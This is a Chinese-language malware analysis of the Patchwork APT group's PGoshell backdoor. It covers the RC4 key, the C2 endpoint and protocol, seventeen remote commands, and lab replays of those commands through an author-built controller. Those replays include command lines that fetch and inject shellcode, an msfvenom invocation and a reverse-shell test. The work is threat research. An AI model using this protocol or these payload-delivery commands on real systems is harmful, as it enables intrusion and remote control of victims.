文章首发地址:
https://xz.aliyun.com/t/15652
文章首发作者:
T0daySeeker
概述
在前两个月,笔者关注到白象APT组织使用的最新PGoshell 后门,所以当时就尝试对其进行了详细的研究,运气比较好,大部分指令都复现成功了,同时还学习到了GO语言木马开发的一些实战经验及技巧。
时隔两月,终于抽了一点空闲时间,准备将相关研究过程整理成文章,与大家一起分享。
整篇文章的思路与以往一样,主要还是从攻击场景复现、通信模型剖析、远控指令详解等多角度进行剖析的。由于在攻击场景复现环节中,部分远控指令还存在植入shellcode、下载提权脚本等行为,因此,笔者在复现过程中,还尝试结合了多个第三方工具对其进行完整复现,整体还是比较有意思的。
-
木马分析:对木马通信过程中所涉及的关键功能进行详细的剖析; -
后门攻击场景复现:尝试模拟构建PGoshell后门的控制端Demo程序,还原PGoshell后门的攻击利用场景; -
远控指令详细剖析:对17个远控指令从反编译代码、功能复现、通信模型等多角度进行详细剖析;
「为了能让大家能够更直观的对此样本的攻击场景进行实战化感受,笔者将文章中所涉及的控制端Demo程序共享于百度网盘中,大家可以关注笔者“T0daySeeker”公众号,发送“PGoshell后门”关键字获取下载链接。为了避免控制端Demo程序被恶意使用,笔者对木马上线地址进行了限制:控制端Demo程序只接收192.168.XX.XX内网地址上线。」
木马分析
加解密算法
结合“知道创宇404实验室”发布的《威胁情报 |Patchwork 组织更新武器库,首次利用 Brute Ratel C4 和 PGoshell 增强版发起攻击》报告,我们可知PGoshell后门使用的加解密算法为RC4+base64,RC4的密钥为“0g8RXt137ODBeqPhTv2XYjgmnxUsijfc”。
相关报告截图如下:
受控ID
通过分析,发现样本运行后,将检测HKCUSoftwareMicrosoftWinTemp注册表是否存在:
-
若存在则获取temp键的值作为受控ID; -
若不存在则生成随机字符串并加密写入,该值将作为受控ID加密存放于POST请求载荷中;
相关代码截图如下:
相关注册表截图如下:
外链获取公网IP
通过分析,发现样本运行后,将尝试外链https://ipwho.is/
地址获取公网IP,提取country_code、ip字段作为POST请求载荷中的一部分。
相关代码截图如下:
远控指令
在梳理PGoshell后门的远控指令时,「笔者发现“知道创宇404实验室”报告中描述的远控指令字符串有点小问题(部分远控指令的字符串前后顺序错误),应该是分析人员直接从IDA中复制反编译字符串所致」。
因此,在这里,我将重新梳理PGoshell后门的远控指令列表:
远控指令 | 功能 |
---|---|
c?d????????e | 执行shell |
uwvtjpyvatmd | 外链URL下载文件,指定保存路径 |
uijjxqdzdele | 外链URL下载文件,保存至temp目录 |
ppkjidlmspplloff | 外链URL下载并以指定父进程执行 |
s?p????????t | 屏幕截图 |
undhpass | 外链URL下载Powershell Bypass-UAC脚本用于绕过UAC |
ldump | 外链URL下载文件,指定保存路径 |
ddmwbvctslqd | 检查文件是否存在,存在则上传被控主机中的指定文件 |
pindhdgenfhj | 外链URL下载shellcode并注入至notepad.exe程序运行 |
shpjduhjenume | 利用WMI获取共享资源信息 |
getmdjfhhkjhsdfdc | 获取域控信息 |
sryzsmensnum | 外链URL下载Solo.zip,解压执行Solo.zip中的powershell提权枚举脚本 |
setndjfnblt | 外链URL下载shellcode并通过QueueUserAPC注入至notepad.exe程序运行,shellcode执行结果将临时存放于C:WindowsTasksdd_Background7786329029.tmp文件中返回 |
midhenhhmidfds | 外链URL下载shellcode并通过QueueUserAPC注入至notepad.exe程序运行,shellcode执行结果将临时存放于C:WindowsTasksBackgroundUsingMIMI.tmp文件中返回 |
passsmkldfdmm | 外链URL下载shellcode并通过QueueUserAPC注入至notepad.exe程序运行,shellcode执行结果将临时存放于%temp%pasomano.tmp文件中返回 |
semnbhdndfenum | SMB端口扫描 |
rdptidjkeephdnmak | RDP端口扫描 |
后门攻击场景复现
为了能够更好的还原PGoshell后门的攻击利用场景,笔者尝试模拟构建了PGoshell后门的控制端Demo程序,目前可有效的与PGoshell后门进行交互,相关运行效果如下:
相关通信数据包截图如下:
远控指令详细剖析
为了能够更详细的对PGoshell后门的攻击场景进行复现,笔者准备对不同远控指令从反编译代码、功能复现、通信模型等多角度进行详细剖析。
远控指令运行参数
为了能够更好的对比PGoshell后门的远控指令,笔者对各远控指令的运行参数进行了梳理对比,详细情况如下:
远控指令 | 参数1 | 参数2 |
---|---|---|
c?d????????e | shell命令 | |
uwvtjpyvatmd | 外链URL地址 | 保存路径 |
uijjxqdzdele | 外链URL地址 | |
ppkjidlmspplloff | 外链URL地址 | 指定父进程PID |
s?p????????t | ||
undhpass | 外链URL地址 | |
ldump | 外链URL地址 | 保存路径 |
ddmwbvctslqd | 文件路径 | |
pindhdgenfhj | 外链URL地址 | crsfsdft、apcmjudk |
shpjduhjenume | ||
getmdjfhhkjhsdfdc | ||
sryzsmensnum | 外链URL地址 | powershell脚本名 |
setndjfnblt | 外链URL地址 | |
midhenhhmidfds | 外链URL地址 | |
passsmkldfdmm | 外链URL地址 | |
semnbhdndfenum | IP范围 | 端口 |
rdptidjkeephdnmak | IP范围 | 端口 |
c?d????????e
通过分析,发现c?d????????e远控指令功能为执行shell命令,梳理c?d????????e远控指令的命令格式如下:
c?d????????e|ipconfig
远控功能复现情况如下:(公网IP为构造的IP地址)
相关解密后通信数据包截图如下:
相关代码截图如下:
通信模型剖析
梳理c?d????????e命令的通信模型如下:
-
POST请求 https://cartmizer.info/lkqnzntawldqjlwdxivsnemw
地址,User-Agent为固定的QllXjxbyEvMuARVOztDiSZDNtQQb值,用于检验是否为PGoshell的通信数据; -
POST请求 https://cartmizer.info/lkqnzntawldqjlwdxivsnemw
地址,载荷中携带主机信息,用于获取远控指令;
#原始载荷数据
j8rlA5zQ_d8zafHyciloOqQSo7BlE5ctDsjhOUANTjqfG40uDdsQsWikG47LWGFytAsn80fezDgQyzqgjgO8-OmwZAdjK6_KQ7YhypSWwEfuYJu1cMWzRad__I4XfHuxMzTin2MgYr41-IlRJarYKeLynyXKL2eMXA8kV5vpt8hXnS0p41PcS5zhOvQ90dsd0KHp6IzkczLzr8OrQTpM4sQPDLaKH6xcgB0QXDIq0OEH
#第一层解密
1||jYDJX_3Ahshd||9v25XfO6hbRedIGoMW8-du4=||6f_XRI_Z_M0pF_rZNQ5YGrlPuOs-||6f_XRI_Z_M0pF_rZNQ5Y||6d_3DarjxKdbeuX2dShhJ6xO||jYKpWQ==||_YzFPLbxxfQwO9T3aC9QAr1YvvY_O61QFsX7Dg==||iII=
#第二层解密(公网IP为构造的IP地址)
1||36P68T1O1||HK 46.232.XXX.206||WIN-JMKXXXJC4OTadmin||WIN-JMKXXXJC4OT||Windows 7 Ultimate||3400||C:UsersadminDesktop2.exe||64
-
POST请求响应包载荷中携带远控指令
#原始载荷数据
3Yn9VvqriLhTZY//|18b6Bqvy3uA=||
#第一层解密
c?d????????e|ifconfig||
-
继续POST请求 https://cartmizer.info/lkqnzntawldqjlwdxivsnemw
地址,载荷中携带远控指令响应数据 -
当POST请求载荷中携带形如 {"cr":"","res":"","ct":"", "tid":"", "suc":""}
格式的载荷数据时,说明远控指令执行完毕
#原始载荷数据
xZT6G-eulbZOdpLoZDIufPocttJmCIAmVtjCVhhLK1-TIvgsAtwI7SywCtLJb1xEjjJfgCrMyBcrm1rM_RrFneipV1AWerOUQg==
#第一层解密
{"cr":"1","res":"7cP6CqDnxA==","ct":"cmhyhmjdhedsf", "tid":"", "suc":"1"}
#第二层解密
{"cr":"1","res":"Success","ct":"cmhyhmjdhedsf", "tid":"", "suc":"1"}
uwvtjpyvatmd
通过分析,发现uwvtjpyvatmd远控指令功能为外链URL下载文件,梳理uwvtjpyvatmd远控指令的命令格式如下:
uwvtjpyvatmd|https://192.168.65.1/uwvtjpyvatmd|C:UsersadminDesktoptestfile.txt
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
通信模型剖析
梳理uwvtjpyvatmd命令的通信模型如下:
-
POST请求 https://cartmizer.info/lkqnzntawldqjlwdxivsnemw
地址,User-Agent为固定的QllXjxbyEvMuARVOztDiSZDNtQQb值,用于检验是否为PGoshell的通信数据; -
POST请求 https://cartmizer.info/lkqnzntawldqjlwdxivsnemw
地址,载荷中携带主机信息,用于获取远控指令; -
POST请求响应包载荷中携带远控指令
#原始载荷数据
y8HvHa/kzvENLt3+|1sLtGf+7mLZVaJ6rN3kicO0F5K0lPIcWUtD6HUQdahk=|/YzFPLbxxfQwO9T3aC9QAr1YvvY/O60WXdP3DUwFYlOELq4=|
#第一层解密
uwvtjpyvatmd|https://192.168.65.1/uwvtjpyvatmd|C:UsersadminDesktoptestfile.txt|
-
根据远控指令外链URL下载文件,并保存至指定路径; -
当POST请求载荷中携带形如 {"cr":"","res":"","ct":"", "tid":"", "suc":""}
格式的载荷数据时,说明远控指令执行完毕
#原始载荷数据
xZT6G-eulbZOdpLoZDIufPp0jPgWG70AQNjlOlImPinDN5kvcf4XtAyuEeHySA8QqgwZ_Dmq6QkJ4AyhmnqUi6b-GFBPLKCMHfUw47iu-WHCXqLoZKHAF99FxN9sOiWle0vzqHcxKvxcrclJ
#第一层解密
{"cr":"1","res":"_YzFPLbxxfQwO9T3aC9QAr1YvvY_O60WXdP3DUwFYlOELq4=","ct":"uwvtjpyvatmd", "tid":"", "suc":"1"}
#第二层解密
{"cr":"1","res":"C:UsersadminDesktoptestfile.txt","ct":"uwvtjpyvatmd", "tid":"", "suc":"1"}
ppkjidlmspplloff
通过分析,发现ppkjidlmspplloff远控指令功能为外链下载文件并以指定父进程执行,梳理ppkjidlmspplloff远控指令的命令格式如下:
ppkjidlmspplloff|https://192.168.65.1/uijjxqdzdele.exe|3204
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
s?p????????t
通过分析,发现s?p????????t远控指令功能为截屏,梳理s?p????????t远控指令的命令格式如下:
s?p????????t
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
undhpass
通过分析,发现undhpass远控指令功能为外链下载Bypass-UAC脚本用于绕过UAC,梳理undhpass远控指令的命令格式如下:
undhpass|https://192.168.153.1/powershell.ps1
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
ddmwbvctslqd
通过分析,发现ddmwbvctslqd远控指令功能为上传被控主机中的指定文件,梳理ddmwbvctslqd远控指令的命令格式如下:
ddmwbvctslqd|C:UsersadminDesktop1.txt
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
pindhdgenfhj
通过分析,发现pindhdgenfhj远控指令功能为从指定url下载shellcode并注入notepad.exe,梳理pindhdgenfhj远控指令的命令格式如下:
pindhdgenfhj|https://192.168.65.1/shellcode|apcmjudk
为了能够完整复现shellcode注入过程,笔者使用msf生成shellcode载荷,并通过远控指令注入至notepad.exe进程中,注入成功后,shellcode将反弹cmd至msf中。
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
shpjduhjenume
通过分析,发现shpjduhjenume远控指令功能为利用WMI获取Win32_Share类(Windows 操作系统上的共享资源信息)信息:共享文件夹等。
梳理shpjduhjenume远控指令的命令格式如下:
shpjduhjenume
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
midhenhhmidfds
通过分析,发现midhenhhmidfds远控指令功能为使用shellcode执行指定功能,执行逻辑如下:
-
外链下载shellcode并通过QueueUserAPC注入notepad.exe执行; -
休眠10秒; -
执行结果将存放于C:WindowsTasksBackgroundUsingMIMI.tmp文件中; -
返回BackgroundUsingMIMI.tmp文件内容; -
删除BackgroundUsingMIMI.tmp文件;
梳理midhenhhmidfds远控指令的命令格式如下:
midhenhhmidfds|https://192.168.65.1/shellcode
为了能够完整复现shellcode功能,笔者使用msf生成可执行任意命令的shellcode载荷,msf命令如下:
msfvenom -p windows/x64/exec CMD="cmd.exe /c echo 'Hello, World' > C:WindowsTasksBackgroundUsingMIMI.tmp" -f hex
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
semnbhdndfenum
通过分析,发现semnbhdndfenum远控指令功能为SMB端口扫描。
梳理semnbhdndfenum远控指令的命令格式如下:
semnbhdndfenum|192.168.65.1/24|445
远控功能复现情况如下:
相关解密后通信数据包截图如下:
相关代码截图如下:
原文始发于微信公众号(T0daySeeker):Patchwork(白象)APT组织PGoshell后门攻击场景复现